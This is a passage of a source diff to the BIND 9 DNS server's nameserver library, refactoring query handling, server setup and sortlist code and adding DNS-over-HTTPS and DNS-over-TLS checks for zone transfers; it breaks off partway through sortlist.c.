 	dns_rdataset_setownercase(rdataset, aname);
 
@@ -10705,8 +10712,6 @@ query_addcname(query_ctx_t *qctx, dns_trust_t trust, dns_ttl_t ttl) {
 	if (aname != NULL) {
 		dns_message_puttempname(client->message, &aname);
 	}
-
-	return (ISC_R_SUCCESS);
 }
 
 /*%
@@ -10722,9 +10727,7 @@ query_prepresponse(query_ctx_t *qctx) {
 
 	CALL_HOOK(NS_QUERY_PREP_RESPONSE_BEGIN, qctx);
 
-	if (WANTDNSSEC(qctx->client) &&
-	    (qctx->fname->attributes & DNS_NAMEATTR_WILDCARD) != 0)
-	{
+	if (WANTDNSSEC(qctx->client) && qctx->fname->attributes.wildcard) {
 		dns_fixedname_init(&qctx->wildcardname);
 		dns_name_copy(qctx->fname,
 			      dns_fixedname_name(&qctx->wildcardname));
@@ -10737,7 +10740,7 @@ query_prepresponse(query_ctx_t *qctx) {
 
 	result = query_zerottl_refetch(qctx);
 	if (result != ISC_R_COMPLETE) {
-		return (result);
+		goto cleanup;
 	}
 
 	return (query_respond(qctx));
@@ -10755,22 +10758,15 @@ static isc_result_t
 query_addsoa(query_ctx_t *qctx, unsigned int override_ttl,
 	     dns_section_t section) {
 	ns_client_t *client = qctx->client;
-	dns_name_t *name;
-	dns_dbnode_t *node;
-	isc_result_t result, eresult;
+	dns_name_t *name = NULL;
+	dns_dbnode_t *node = NULL;
+	isc_result_t result, eresult = ISC_R_SUCCESS;
 	dns_rdataset_t *rdataset = NULL, *sigrdataset = NULL;
 	dns_rdataset_t **sigrdatasetp = NULL;
 	dns_clientinfomethods_t cm;
 	dns_clientinfo_t ci;
 
 	CTRACE(ISC_LOG_DEBUG(3), "query_addsoa");
-	/*
-	 * Initialization.
-	 */
-	eresult = ISC_R_SUCCESS;
-	name = NULL;
-	rdataset = NULL;
-	node = NULL;
 
 	dns_clientinfomethods_init(&cm, ns_client_sourceip);
 	dns_clientinfo_init(&ci, client, NULL);
@@ -10778,7 +10774,7 @@ query_addsoa(query_ctx_t *qctx, unsigned int override_ttl,
 	/*
 	 * Don't add the SOA record for test which set "-T nosoa".
 	 */
-	if (((client->sctx->options & NS_SERVER_NOSOA) != 0) &&
+	if (((client->manager->sctx->options & NS_SERVER_NOSOA) != 0) &&
 	    (!WANTDNSSEC(client) || !dns_rdataset_isassociated(qctx->rdataset)))
 	{
 		return (ISC_R_SUCCESS);
@@ -10787,10 +10783,7 @@ query_addsoa(query_ctx_t *qctx, unsigned int override_ttl,
 	/*
 	 * Get resources and make 'name' be the database origin.
 	 */
-	result = dns_message_gettempname(client->message, &name);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	dns_message_gettempname(client->message, &name);
 
 	/*
 	 * We'll be releasing 'name' before returning, so it's safe to
@@ -10799,18 +10792,8 @@ query_addsoa(query_ctx_t *qctx, unsigned int override_ttl,
 	dns_name_clone(dns_db_origin(qctx->db), name);
 
 	rdataset = ns_client_newrdataset(client);
-	if (rdataset == NULL) {
-		CTRACE(ISC_LOG_ERROR, "unable to allocate rdataset");
-		eresult = DNS_R_SERVFAIL;
-		goto cleanup;
-	}
 	if (WANTDNSSEC(client) && dns_db_issecure(qctx->db)) {
 		sigrdataset = ns_client_newrdataset(client);
-		if (sigrdataset == NULL) {
-			CTRACE(ISC_LOG_ERROR, "unable to allocate sigrdataset");
-			eresult = DNS_R_SERVFAIL;
-			goto cleanup;
-		}
 	}
 
 	/*
@@ -10883,7 +10866,6 @@ query_addsoa(query_ctx_t *qctx, unsigned int override_ttl,
 			       section);
 	}
 
-cleanup:
 	ns_client_putrdataset(client, &rdataset);
 	if (sigrdataset != NULL) {
 		ns_client_putrdataset(client, &sigrdataset);
@@ -10927,29 +10909,12 @@ query_addns(query_ctx_t *qctx) {
 	/*
 	 * Get resources and make 'name' be the database origin.
 	 */
-	result = dns_message_gettempname(client->message, &name);
-	if (result != ISC_R_SUCCESS) {
-		CTRACE(ISC_LOG_DEBUG(3), "query_addns: dns_message_gettempname "
-					 "failed: done");
-		return (result);
-	}
+	dns_message_gettempname(client->message, &name);
 	dns_name_clone(dns_db_origin(qctx->db), name);
 	rdataset = ns_client_newrdataset(client);
-	if (rdataset == NULL) {
-		CTRACE(ISC_LOG_ERROR, "query_addns: ns_client_newrdataset "
-				      "failed");
-		eresult = DNS_R_SERVFAIL;
-		goto cleanup;
-	}
 
 	if (WANTDNSSEC(client) && dns_db_issecure(qctx->db)) {
 		sigrdataset = ns_client_newrdataset(client);
-		if (sigrdataset == NULL) {
-			CTRACE(ISC_LOG_ERROR, "query_addns: "
-					      "ns_client_newrdataset failed");
-			eresult = DNS_R_SERVFAIL;
-			goto cleanup;
-		}
 	}
 
 	/*
@@ -10984,7 +10949,6 @@ query_addns(query_ctx_t *qctx) {
 			       DNS_SECTION_AUTHORITY);
 	}
 
-cleanup:
 	CTRACE(ISC_LOG_DEBUG(3), "query_addns: cleanup");
 	ns_client_putrdataset(client, &rdataset);
 	if (sigrdataset != NULL) {
@@ -11040,14 +11004,8 @@ query_addbestns(query_ctx_t *qctx) {
 	 * We'll need some resources...
 	 */
 	dbuf = ns_client_getnamebuf(client);
-	if (dbuf == NULL) {
-		goto cleanup;
-	}
 	fname = ns_client_newname(client, dbuf, &b);
 	rdataset = ns_client_newrdataset(client);
-	if (fname == NULL || rdataset == NULL) {
-		goto cleanup;
-	}
 
 	/*
 	 * Get the RRSIGs if the client requested them or if we may
@@ -11055,9 +11013,6 @@ query_addbestns(query_ctx_t *qctx) {
 	 */
 	if (WANTDNSSEC(client) || !is_zone) {
 		sigrdataset = ns_client_newrdataset(client);
-		if (sigrdataset == NULL) {
-			goto cleanup;
-		}
 	}
 
 	/*
@@ -11089,7 +11044,8 @@ query_addbestns(query_ctx_t *qctx) {
 			client->now, &node, fname, NULL, rdataset, sigrdataset);
 		if (result == ISC_R_SUCCESS) {
 			if (zfname != NULL &&
-			    !dns_name_issubdomain(fname, zfname)) {
+			    !dns_name_issubdomain(fname, zfname))
+			{
 				/*
 				 * We found a zonecut in the cache, but our
 				 * zone delegation is better.
@@ -11293,15 +11249,9 @@ query_addwildcardproof(query_ctx_t *qctx, bool ispositive, bool nodata) {
 	 * We'll need some resources...
 	 */
 	dbuf = ns_client_getnamebuf(client);
-	if (dbuf == NULL) {
-		goto cleanup;
-	}
 	fname = ns_client_newname(client, dbuf, &b);
 	rdataset = ns_client_newrdataset(client);
 	sigrdataset = ns_client_newrdataset(client);
-	if (fname == NULL || rdataset == NULL || sigrdataset == NULL) {
-		goto cleanup;
-	}
 
 	result = dns_db_findext(qctx->db, name, qctx->version,
 				dns_rdatatype_nsec, options, 0, &node, fname,
@@ -11352,9 +11302,6 @@ query_addwildcardproof(query_ctx_t *qctx, bool ispositive, bool nodata) {
 		 */
 		if (fname == NULL) {
 			dbuf = ns_client_getnamebuf(client);
-			if (dbuf == NULL) {
-				goto cleanup;
-			}
 			fname = ns_client_newname(client, dbuf, &b);
 		}
 
@@ -11370,9 +11317,6 @@ query_addwildcardproof(query_ctx_t *qctx, bool ispositive, bool nodata) {
 			dns_rdataset_disassociate(sigrdataset);
 		}
 
-		if (fname == NULL || rdataset == NULL || sigrdataset == NULL) {
-			goto cleanup;
-		}
 		/*
 		 * Add no qname proof.
 		 */
@@ -11401,9 +11345,6 @@ query_addwildcardproof(query_ctx_t *qctx, bool ispositive, bool nodata) {
 		 */
 		if (fname == NULL) {
 			dbuf = ns_client_getnamebuf(client);
-			if (dbuf == NULL) {
-				goto cleanup;
-			}
 			fname = ns_client_newname(client, dbuf, &b);
 		}
 
@@ -11419,9 +11360,6 @@ query_addwildcardproof(query_ctx_t *qctx, bool ispositive, bool nodata) {
 			dns_rdataset_disassociate(sigrdataset);
 		}
 
-		if (fname == NULL || rdataset == NULL || sigrdataset == NULL) {
-			goto cleanup;
-		}
 		/*
 		 * Add the no wildcard proof.
 		 */
@@ -11521,7 +11459,8 @@ query_addauth(query_ctx_t *qctx) {
 				(void)query_addns(qctx);
 			}
 		} else if (!qctx->answer_has_ns &&
-			   qctx->qtype != dns_rdatatype_ns) {
+			   qctx->qtype != dns_rdatatype_ns)
+		{
 			if (qctx->fname != NULL) {
 				ns_client_releasename(qctx->client,
 						      &qctx->fname);
@@ -11577,26 +11516,31 @@ query_setup_sortlist(query_ctx_t *qctx) {
 	isc_netaddr_t netaddr;
 	ns_client_t *client = qctx->client;
 	dns_aclenv_t *env = client->manager->aclenv;
-	const void *order_arg = NULL;
+	dns_acl_t *acl = NULL;
+	dns_aclelement_t *elt = NULL;
+	void *order_arg = NULL;
 
 	isc_netaddr_fromsockaddr(&netaddr, &client->peeraddr);
 	switch (ns_sortlist_setup(client->view->sortlist, env, &netaddr,
-				  &order_arg)) {
+				  &order_arg))
+	{
 	case NS_SORTLISTTYPE_1ELEMENT:
+		elt = order_arg;
 		dns_message_setsortorder(client->message,
 					 query_sortlist_order_1element, env,
-					 NULL, order_arg);
+					 NULL, elt);
 		break;
 	case NS_SORTLISTTYPE_2ELEMENT:
+		acl = order_arg;
 		dns_message_setsortorder(client->message,
 					 query_sortlist_order_2element, env,
-					 order_arg, NULL);
+					 acl, NULL);
+		dns_acl_detach(&acl);
 		break;
 	case NS_SORTLISTTYPE_NONE:
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -11604,7 +11548,7 @@ query_setup_sortlist(query_ctx_t *qctx) {
  * When sending a referral, if the answer to the question is
  * in the glue, sort it to the start of the additional section.
  */
-static inline void
+static void
 query_glueanswer(query_ctx_t *qctx) {
 	const dns_namelist_t *secs = qctx->client->message->sections;
 	const dns_section_t section = DNS_SECTION_ADDITIONAL;
@@ -11660,7 +11604,8 @@ ns_query_done(query_ctx_t *qctx) {
 	 */
 	qctx->rpz_st = qctx->client->query.rpz_st;
 	if (qctx->rpz_st != NULL &&
-	    (qctx->rpz_st->state & DNS_RPZ_RECURSING) == 0) {
+	    (qctx->rpz_st->state & DNS_RPZ_RECURSING) == 0)
+	{
 		rpz_match_clear(qctx->rpz_st);
 		qctx->rpz_st->state &= ~DNS_RPZ_DONE_QNAME;
 	}
@@ -11683,8 +11628,14 @@ ns_query_done(query_ctx_t *qctx) {
 	 * Do we need to restart the query (e.g. for CNAME chaining)?
 	 */
 	if (qctx->want_restart && qctx->client->query.restarts < MAX_RESTARTS) {
+		query_ctx_t *saved_qctx = NULL;
 		qctx->client->query.restarts++;
-		return (ns__query_start(qctx));
+		saved_qctx = isc_mem_get(qctx->client->manager->mctx,
+					 sizeof(*saved_qctx));
+		qctx_save(qctx, saved_qctx);
+		isc_async_run(qctx->client->manager->loop, async_restart,
+			      saved_qctx);
+		return (DNS_R_CONTINUE);
 	}
 
 	if (qctx->result != ISC_R_SUCCESS &&
@@ -11692,7 +11643,8 @@ ns_query_done(query_ctx_t *qctx) {
 	     qctx->result == DNS_R_DROP))
 	{
 		if (qctx->result == DNS_R_DUPLICATE ||
-		    qctx->result == DNS_R_DROP) {
+		    qctx->result == DNS_R_DROP)
+		{
 			/*
 			 * This was a duplicate query that we are
 			 * recursing on or the result of rate limiting.
@@ -11761,6 +11713,21 @@ ns_query_done(query_ctx_t *qctx) {
 	 */
 	nodetach = qctx->client->nodetach;
 	query_send(qctx->client);
+
+	if (qctx->refresh_rrset) {
+		/*
+		 * If we reached this point then it means that we have found a
+		 * stale RRset entry in cache and BIND is configured to allow
+		 * queries to be answered with stale data if no active RRset
+		 * is available, i.e. "stale-anwer-client-timeout 0". But, we
+		 * still need to refresh the RRset. To prevent adding duplicate
+		 * RRsets, clear the RRsets from the message before doing the
+		 * refresh.
+		 */
+		message_clearrdataset(qctx->client->message, 0);
+		query_stale_refresh(qctx->client);
+	}
+
 	if (!nodetach) {
 		qctx->detach_client = true;
 	}
@@ -11770,7 +11737,7 @@ ns_query_done(query_ctx_t *qctx) {
 	return (result);
 }
 
-static inline void
+static void
 log_tat(ns_client_t *client) {
 	char namebuf[DNS_NAME_FORMATSIZE];
 	char clientbuf[ISC_NETADDR_FORMATSIZE];
@@ -11800,7 +11767,7 @@ log_tat(ns_client_t *client) {
 	if (client->query.qtype == dns_rdatatype_dnskey) {
 		uint16_t keytags = client->keytag_len / 2;
 		size_t len = taglen = sizeof("65000") * keytags + 1;
-		char *cp = tags = isc_mem_get(client->mctx, taglen);
+		char *cp = tags = isc_mem_get(client->manager->mctx, taglen);
 		int i = 0;
 
 		INSIST(client->keytag != NULL);
@@ -11826,11 +11793,11 @@ log_tat(ns_client_t *client) {
 		      ISC_LOG_INFO, "trust-anchor-telemetry '%s/%s' from %s%s",
 		      namebuf, classbuf, clientbuf, tags != NULL ? tags : "");
 	if (tags != NULL) {
-		isc_mem_put(client->mctx, tags, taglen);
+		isc_mem_put(client->manager->mctx, tags, taglen);
 	}
 }
 
-static inline void
+static void
 log_query(ns_client_t *client, unsigned int flags, unsigned int extflags) {
 	char namebuf[DNS_NAME_FORMATSIZE];
 	char typebuf[DNS_RDATATYPE_FORMATSIZE];
@@ -11876,7 +11843,7 @@ log_query(ns_client_t *client, unsigned int flags, unsigned int extflags) {
 		      onbuf, ecsbuf);
 }
 
-static inline void
+static void
 log_queryerror(ns_client_t *client, isc_result_t result, int line, int level) {
 	char namebuf[DNS_NAME_FORMATSIZE];
 	char typebuf[DNS_RDATATYPE_FORMATSIZE];
@@ -12025,7 +11992,7 @@ ns_query_start(ns_client_t *client, isc_nmhandle_t *handle) {
 		return;
 	}
 
-	if ((client->sctx->options & NS_SERVER_LOGQUERIES) != 0) {
+	if ((client->manager->sctx->options & NS_SERVER_LOGQUERIES) != 0) {
 		log_query(client, saved_flags, saved_extflags);
 	}
 
@@ -12035,7 +12002,8 @@ ns_query_start(ns_client_t *client, isc_nmhandle_t *handle) {
 	rdataset = ISC_LIST_HEAD(client->query.qname->list);
 	INSIST(rdataset != NULL);
 	client->query.qtype = qtype = rdataset->type;
-	dns_rdatatypestats_increment(client->sctx->rcvquerystats, qtype);
+	dns_rdatatypestats_increment(client->manager->sctx->rcvquerystats,
+				     qtype);
 
 	log_tat(client);
 
@@ -12045,6 +12013,47 @@ ns_query_start(ns_client_t *client, isc_nmhandle_t *handle) {
 			break; /* Let the query logic handle it. */
 		case dns_rdatatype_ixfr:
 		case dns_rdatatype_axfr:
+			if (isc_nm_is_http_handle(handle)) {
+				/*
+				 * We cannot use DoH for zone transfers.
+				 * According to RFC 8484 a DoH request contains
+				 * exactly one DNS message (see Section 6:
+				 * Definition of the "application/dns-message"
+				 * Media Type).
+				 *
+				 * This makes DoH unsuitable for zone transfers
+				 * as often (and usually!) these need more than
+				 * one DNS message, especially for larger zones.
+				 * As zone transfers over DoH are not (yet)
+				 * standardised, nor discussed in RFC 8484,
+				 * the best thing we can do is to return "not
+				 * implemented".
+				 */
+				query_error(client, DNS_R_NOTIMP, __LINE__);
+				return;
+			}
+			if (isc_nm_socket_type(handle) ==
+			    isc_nm_streamdnssocket)
+			{
+				/*
+				 * Currently this code is here for DoT, which
+				 * has more complex requirements for zone
+				 * transfers compared to other stream
+				 * protocols. See RFC 9103 for details.
+				 */
+				switch (isc_nm_xfr_checkperm(handle)) {
+				case ISC_R_SUCCESS:
+					break;
+				case ISC_R_DOTALPNERROR:
+					query_error(client, DNS_R_NOALPN,
+						    __LINE__);
+					return;
+				default:
+					query_error(client, DNS_R_REFUSED,
+						    __LINE__);
+					return;
+				}
+			}
 			ns_xfr_start(client, rdataset->type);
 			return;
 		case dns_rdatatype_maila:
@@ -12053,7 +12062,7 @@ ns_query_start(ns_client_t *client, isc_nmhandle_t *handle) {
 			return;
 		case dns_rdatatype_tkey:
 			result = dns_tkey_processquery(
-				client->message, client->sctx->tkeyctx,
+				client->message, client->manager->sctx->tkeyctx,
 				client->view->dynamickeys);
 			if (result == ISC_R_SUCCESS) {
 				query_send(client);
@@ -12070,9 +12079,7 @@ ns_query_start(ns_client_t *client, isc_nmhandle_t *handle) {
 	/*
 	 * Turn on minimal response for (C)DNSKEY and (C)DS queries.
 	 */
-	if (qtype == dns_rdatatype_dnskey || qtype == dns_rdatatype_ds ||
-	    qtype == dns_rdatatype_cdnskey || qtype == dns_rdatatype_cds)
-	{
+	if (dns_rdatatype_iskeymaterial(qtype) || qtype == dns_rdatatype_ds) {
 		client->query.attributes |= (NS_QUERYATTR_NOAUTHORITY |
 					     NS_QUERYATTR_NOADDITIONAL);
 	} else if (qtype == dns_rdatatype_ns) {
@@ -12087,7 +12094,8 @@ ns_query_start(ns_client_t *client, isc_nmhandle_t *handle) {
 	 * Maybe turn on minimal responses for ANY queries.
 	 */
 	if (qtype == dns_rdatatype_any && client->view->minimal_any &&
-	    !TCP(client)) {
+	    !TCP(client))
+	{
 		client->query.attributes |= (NS_QUERYATTR_NOAUTHORITY |
 					     NS_QUERYATTR_NOADDITIONAL);
 	}
@@ -12110,7 +12118,8 @@ ns_query_start(ns_client_t *client, isc_nmhandle_t *handle) {
 	 * disabled as there will be no pending data.
 	 */
 	if ((message->flags & DNS_MESSAGEFLAG_CD) != 0 ||
-	    qtype == dns_rdatatype_rrsig) {
+	    qtype == dns_rdatatype_rrsig)
+	{
 		client->query.dboptions |= DNS_DBFIND_PENDINGOK;
 		client->query.fetchoptions |= DNS_FETCHOPT_NOVALIDATE;
 	} else if (!client->view->enablevalidation) {
@@ -12122,8 +12131,6 @@ ns_query_start(ns_client_t *client, isc_nmhandle_t *handle) {
 					      DNS_FETCHOPT_QMIN_SKIP_IP6A;
 		if (client->view->qmin_strict) {
 			client->query.fetchoptions |= DNS_FETCHOPT_QMIN_STRICT;
-		} else {
-			client->query.fetchoptions |= DNS_FETCHOPT_QMIN_USE_A;
 		}
 	}
 
@@ -12159,7 +12166,7 @@ ns_query_start(ns_client_t *client, isc_nmhandle_t *handle) {
 	 * If "-T noaa" has been set on the command line don't set
 	 * AA on authoritative answers.
 	 */
-	if ((client->sctx->options & NS_SERVER_NOAA) == 0) {
+	if ((client->manager->sctx->options & NS_SERVER_NOAA) == 0) {
 		message->flags |= DNS_MESSAGEFLAG_AA;
 	}
 
@@ -12171,5 +12178,5 @@ ns_query_start(ns_client_t *client, isc_nmhandle_t *handle) {
 		message->flags |= DNS_MESSAGEFLAG_AD;
 	}
 
-	(void)query_setup(client, qtype);
+	query_setup(client, qtype);
 }
diff --git a/lib/ns/server.c b/lib/ns/server.c
index a970a28e89..d853848a76 100644
--- a/lib/ns/server.c
+++ b/lib/ns/server.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -33,76 +35,76 @@
 		RUNTIME_CHECK(result == ISC_R_SUCCESS); \
 	} while (0)
 
-isc_result_t
+void
 ns_server_create(isc_mem_t *mctx, ns_matchview_t matchingview,
 		 ns_server_t **sctxp) {
 	ns_server_t *sctx;
-	isc_result_t result;
 
 	REQUIRE(sctxp != NULL && *sctxp == NULL);
 
 	sctx = isc_mem_get(mctx, sizeof(*sctx));
+	*sctx = (ns_server_t){
+		.udpsize = 1232,
+		.transfer_tcp_message_size = 20480,
 
-	memset(sctx, 0, sizeof(*sctx));
+		.fuzztype = isc_fuzz_none,
+
+		.matchingview = matchingview,
+		.answercookie = true,
+	};
 
 	isc_mem_attach(mctx, &sctx->mctx);
 
+	/*
+	 * See here for more details:
+	 * https://github.com/jemalloc/jemalloc/issues/2483
+	 */
+
 	isc_refcount_init(&sctx->references, 1);
 
 	isc_quota_init(&sctx->xfroutquota, 10);
 	isc_quota_init(&sctx->tcpquota, 10);
 	isc_quota_init(&sctx->recursionquota, 100);
+	isc_quota_init(&sctx->updquota, 100);
+	ISC_LIST_INIT(sctx->http_quotas);
+	isc_mutex_init(&sctx->http_quotas_lock);
 
-	CHECKFATAL(dns_tkeyctx_create(mctx, &sctx->tkeyctx));
+	ns_stats_create(mctx, ns_statscounter_max, &sctx->nsstats);
 
-	CHECKFATAL(ns_stats_create(mctx, ns_statscounter_max, &sctx->nsstats));
+	dns_rdatatypestats_create(mctx, &sctx->rcvquerystats);
 
-	CHECKFATAL(dns_rdatatypestats_create(mctx, &sctx->rcvquerystats));
+	dns_opcodestats_create(mctx, &sctx->opcodestats);
 
-	CHECKFATAL(dns_opcodestats_create(mctx, &sctx->opcodestats));
+	dns_rcodestats_create(mctx, &sctx->rcodestats);
 
-	CHECKFATAL(dns_rcodestats_create(mctx, &sctx->rcodestats));
+	isc_histomulti_create(mctx, DNS_SIZEHISTO_SIGBITSIN,
+			      &sctx->udpinstats4);
 
-	CHECKFATAL(isc_stats_create(mctx, &sctx->udpinstats4,
-				    dns_sizecounter_in_max));
+	isc_histomulti_create(mctx, DNS_SIZEHISTO_SIGBITSOUT,
+			      &sctx->udpoutstats4);
 
-	CHECKFATAL(isc_stats_create(mctx, &sctx->udpoutstats4,
-				    dns_sizecounter_out_max));
+	isc_histomulti_create(mctx, DNS_SIZEHISTO_SIGBITSIN,
+			      &sctx->udpinstats6);
 
-	CHECKFATAL(isc_stats_create(mctx, &sctx->udpinstats6,
-				    dns_sizecounter_in_max));
+	isc_histomulti_create(mctx, DNS_SIZEHISTO_SIGBITSOUT,
+			      &sctx->udpoutstats6);
 
-	CHECKFATAL(isc_stats_create(mctx, &sctx->udpoutstats6,
-				    dns_sizecounter_out_max));
+	isc_histomulti_create(mctx, DNS_SIZEHISTO_SIGBITSIN,
+			      &sctx->tcpinstats4);
 
-	CHECKFATAL(isc_stats_create(mctx, &sctx->tcpinstats4,
-				    dns_sizecounter_in_max));
+	isc_histomulti_create(mctx, DNS_SIZEHISTO_SIGBITSOUT,
+			      &sctx->tcpoutstats4);
 
-	CHECKFATAL(isc_stats_create(mctx, &sctx->tcpoutstats4,
-				    dns_sizecounter_out_max));
+	isc_histomulti_create(mctx, DNS_SIZEHISTO_SIGBITSIN,
+			      &sctx->tcpinstats6);
 
-	CHECKFATAL(isc_stats_create(mctx, &sctx->tcpinstats6,
-				    dns_sizecounter_in_max));
-
-	CHECKFATAL(isc_stats_create(mctx, &sctx->tcpoutstats6,
-				    dns_sizecounter_out_max));
-
-	sctx->udpsize = 1232;
-	sctx->transfer_tcp_message_size = 20480;
-
-	sctx->fuzztype = isc_fuzz_none;
-	sctx->fuzznotify = NULL;
-	sctx->gethostname = NULL;
-
-	sctx->matchingview = matchingview;
-	sctx->answercookie = true;
+	isc_histomulti_create(mctx, DNS_SIZEHISTO_SIGBITSOUT,
+			      &sctx->tcpoutstats6);
 
 	ISC_LIST_INIT(sctx->altsecrets);
 
 	sctx->magic = SCTX_MAGIC;
 	*sctxp = sctx;
-
-	return (ISC_R_SUCCESS);
 }
 
 void
@@ -125,16 +127,31 @@ ns_server_detach(ns_server_t **sctxp) {
 
 	if (isc_refcount_decrement(&sctx->references) == 1) {
 		ns_altsecret_t *altsecret;
+		isc_quota_t *http_quota;
 
 		while ((altsecret = ISC_LIST_HEAD(sctx->altsecrets)) != NULL) {
 			ISC_LIST_UNLINK(sctx->altsecrets, altsecret, link);
 			isc_mem_put(sctx->mctx, altsecret, sizeof(*altsecret));
 		}
 
+		isc_quota_destroy(&sctx->updquota);
 		isc_quota_destroy(&sctx->recursionquota);
 		isc_quota_destroy(&sctx->tcpquota);
 		isc_quota_destroy(&sctx->xfroutquota);
 
+		http_quota = ISC_LIST_HEAD(sctx->http_quotas);
+		while (http_quota != NULL) {
+			isc_quota_t *next = NULL;
+
+			next = ISC_LIST_NEXT(http_quota, link);
+			ISC_LIST_DEQUEUE(sctx->http_quotas, http_quota, link);
+			isc_quota_destroy(http_quota);
+			isc_mem_put(sctx->mctx, http_quota,
+				    sizeof(*http_quota));
+			http_quota = next;
+		}
+		isc_mutex_destroy(&sctx->http_quotas_lock);
+
 		if (sctx->server_id != NULL) {
 			isc_mem_free(sctx->mctx, sctx->server_id);
 		}
@@ -142,9 +159,6 @@ ns_server_detach(ns_server_t **sctxp) {
 		if (sctx->blackholeacl != NULL) {
 			dns_acl_detach(&sctx->blackholeacl);
 		}
-		if (sctx->keepresporder != NULL) {
-			dns_acl_detach(&sctx->keepresporder);
-		}
 		if (sctx->tkeyctx != NULL) {
 			dns_tkeyctx_destroy(&sctx->tkeyctx);
 		}
@@ -164,29 +178,29 @@ ns_server_detach(ns_server_t **sctxp) {
 		}
 
 		if (sctx->udpinstats4 != NULL) {
-			isc_stats_detach(&sctx->udpinstats4);
+			isc_histomulti_destroy(&sctx->udpinstats4);
 		}
 		if (sctx->tcpinstats4 != NULL) {
-			isc_stats_detach(&sctx->tcpinstats4);
+			isc_histomulti_destroy(&sctx->tcpinstats4);
 		}
 		if (sctx->udpoutstats4 != NULL) {
-			isc_stats_detach(&sctx->udpoutstats4);
+			isc_histomulti_destroy(&sctx->udpoutstats4);
 		}
 		if (sctx->tcpoutstats4 != NULL) {
-			isc_stats_detach(&sctx->tcpoutstats4);
+			isc_histomulti_destroy(&sctx->tcpoutstats4);
 		}
 
 		if (sctx->udpinstats6 != NULL) {
-			isc_stats_detach(&sctx->udpinstats6);
+			isc_histomulti_destroy(&sctx->udpinstats6);
 		}
 		if (sctx->tcpinstats6 != NULL) {
-			isc_stats_detach(&sctx->tcpinstats6);
+			isc_histomulti_destroy(&sctx->tcpinstats6);
 		}
 		if (sctx->udpoutstats6 != NULL) {
-			isc_stats_detach(&sctx->udpoutstats6);
+			isc_histomulti_destroy(&sctx->udpoutstats6);
 		}
 		if (sctx->tcpoutstats6 != NULL) {
-			isc_stats_detach(&sctx->tcpoutstats6);
+			isc_histomulti_destroy(&sctx->tcpoutstats6);
 		}
 
 		sctx->magic = 0;
@@ -227,3 +241,14 @@ ns_server_getoption(ns_server_t *sctx, unsigned int option) {
 
 	return ((sctx->options & option) != 0);
 }
+
+void
+ns_server_append_http_quota(ns_server_t *sctx, isc_quota_t *http_quota) {
+	REQUIRE(SCTX_VALID(sctx));
+	REQUIRE(http_quota != NULL);
+
+	LOCK(&sctx->http_quotas_lock);
+	ISC_LINK_INIT(http_quota, link);
+	ISC_LIST_APPEND(sctx->http_quotas, http_quota, link);
+	UNLOCK(&sctx->http_quotas_lock);
+}
diff --git a/lib/ns/sortlist.c b/lib/ns/sortlist.c
index 19eca7ad79..971edb60d2 100644
--- a/lib/ns/sortlist.c
+++ b/lib/ns/sortlist.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,25 +14,23 @@
 /*! \file */
 
 #include <isc/mem.h>
+#include <isc/result.h>
 #include <isc/util.h>
 
 #include <dns/acl.h>
 #include <dns/message.h>
-#include <dns/result.h>
 
 #include <ns/server.h>
 #include <ns/sortlist.h>
 
 ns_sortlisttype_t
 ns_sortlist_setup(dns_acl_t *acl, dns_aclenv_t *env, isc_netaddr_t *clientaddr,
-		  const void **argp) {
-	unsigned int i;
-
+		  void **argp) {
 	if (acl == NULL) {
 		goto dont_sort;
 	}
 
-	for (i = 0; i < acl->length; i++) {
+	for (size_t i = 0; i < acl->length; i++) {
 		/*
 		 * 'e' refers to the current 'top level statement'
 		 * in the sortlist (see ARM).
@@ -38,7 +38,7 @@ ns_sortlist_setup(dns_acl_t *acl, dns_aclenv_t *env, isc_netaddr_t *clientaddr,
 		dns_aclelement_t *e = &acl->elements[i];
 		dns_aclelement_t *try_elt;
 		dns_aclelement_t *order_elt = NULL;
-		const dns_aclelement_t *matched_elt = NULL;
+		dns_aclelement_t *matched_elt = NULL;
 
 		if (e->type == dns_aclelementtype_nestedacl) {
 			dns_acl_t *inner = e->nestedacl;
@@ -63,43 +63,62 @@ ns_sortlist_setup(dns_acl_t *acl, dns_aclenv_t *env, isc_netaddr_t *clientaddr,
 			try_elt = e;
 		}
 
-		if (dns_aclelement_match(clientaddr, NULL, try_elt, env,
-					 &matched_elt)) {
-			if (order_elt != NULL) {
-				if (order_elt->type ==
-				    dns_aclelementtype_nestedacl) {
-					*argp = order_elt->nestedacl;
-					return (NS_SORTLISTTYPE_2ELEMENT);
-				} else if (order_elt->type ==
-						   dns_aclelementtype_localhost &&
-					   env->localhost != NULL)
-				{
-					*argp = env->localhost;
-					return (NS_SORTLISTTYPE_2ELEMENT);
-				} else if (order_elt->type ==
-						   dns_aclelementtype_localnets &&
-					   env->localnets != NULL)
-				{
-					*argp = env->localnets;
-					return (NS_SORTLISTTYPE_2ELEMENT);
-				} else {
-					/*
-					 * BIND 8 allows a bare IP prefix as
-					 * the 2nd element of a 2-element
-					 * sortlist statement.
-					 */
-					*argp = order_elt;
-					return (NS_SORTLISTTYPE_1ELEMENT);
-				}
-			} else {
-				INSIST(matched_elt != NULL);
-				*argp = matched_elt;
-				return (NS_SORTLISTTYPE_1ELEMENT);
+		if (!dns_aclelement_match(
+			    clientaddr, NULL, try_elt, env,
+			    (const dns_aclelement_t **)&matched_elt))
+		{
+			continue;
+		}
+
+		if (order_elt == NULL) {
+			INSIST(matched_elt != NULL);
+			*argp = matched_elt;
+			return (NS_SORTLISTTYPE_1ELEMENT);
+		}
+
+		if (order_elt->type == dns_aclelementtype_nestedacl) {
+			dns_acl_t *inner = NULL;
+			dns_acl_attach(order_elt->nestedacl, &inner);
+			*argp = inner;
+			return (NS_SORTLISTTYPE_2ELEMENT);
+		}
+
+		if (order_elt->type == dns_aclelementtype_localhost) {
+			dns_acl_t *inner = NULL;
